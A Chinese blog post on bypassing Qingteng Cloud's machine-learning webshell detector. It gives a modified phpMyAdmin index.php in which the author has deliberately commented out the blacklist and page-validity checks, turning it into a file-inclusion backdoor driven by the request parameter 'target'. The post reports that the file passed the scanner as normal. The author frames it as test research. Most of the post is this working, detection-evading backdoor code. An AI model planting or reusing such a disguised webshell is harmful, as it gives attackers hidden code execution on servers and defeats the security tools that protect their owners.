上周看到一些朋友在发青藤云的聊天记录,绕过一个发200块红包。周末的时候就简单做了个测试。
首先使用绕过D盾的webshell,发现被标记为恶意。这就有点意思了。我去看了一下聊天记录的内容,看原理是采用的深度学习的方式。猜测是有监督的方式来实现的(仅为猜测)。我这里绕过的思路采用的是,使用开源程序进行修改,带入一句话后门代码。
记得Phpmyadmin的index.php文件中包含有include ROOT_PATH . $_REQUEST['target'];
这样的代码,如果不看上下文,这个妥妥的文件包含漏洞。不过上文有过滤和判断处理,导致无法包含任意文件。我将其修改为包含任意文件。同时保留来一些源码,把影响执行的代码注释掉(因为适应多种环境,适用但文件的情况)。
最终修改的代码如下:
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Main loader script
*
* @package PhpMyAdmin
*/
declare(strict_types=1);
/*
use PhpMyAdmin\Controllers\HomeController;
use PhpMyAdmin\Core;
use PhpMyAdmin\DatabaseInterface;
use PhpMyAdmin\Response;
use PhpMyAdmin\Url;
use PhpMyAdmin\Util;
*/
if (! defined('ROOT_PATH')) {
define('ROOT_PATH', ''); //这里做了修改,不影响后门包含文件
}
global $server;
//require_once ROOT_PATH . 'libraries/common.inc.php';
/**
* pass variables to child pages
*/
$drops = [
'lang',
'server',
'collation_connection',
'db',
'table',
];
foreach ($drops as $each_drop) {
if (array_key_exists($each_drop, $_GET)) {
unset($_GET[$each_drop]);
}
}
unset($drops, $each_drop);
/**
* Black list of all scripts to which front-end must submit data.
* Such scripts must not be loaded on home page.
*/
$target_blacklist = [
'import.php',
'export.php',
];
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& 0 == strpos($_REQUEST['target'], "index")
//&& ! in_array($_REQUEST['target'], $target_blacklist) //检查黑名单,注释掉
//&& Core::checkPageValidity($_REQUEST['target'], [], true) //验证page的有效性,也去掉
) {
include ROOT_PATH . $_REQUEST['target'];
exit;
}
测试是否正常使用,确认可用后,上传测试。结果显示为正常。至此绕过完成。下图是结果(2019年12月29日测试结果)。具体如何使用,可以看上一篇绕过D盾的内容。
总结
青藤云这个做的确实不错。绕过的思路还有其他的,我的思路是选择避开eval,assert使用率高的特征,同时在加入一些正常文件代码的方式来绕过。对于还有其它思路,这里仅作为测试研究。另外除了检测以外,还需要考虑误报情况,我测试传的一个正常文件也报恶意了,所以这个也是需要进行权衡的。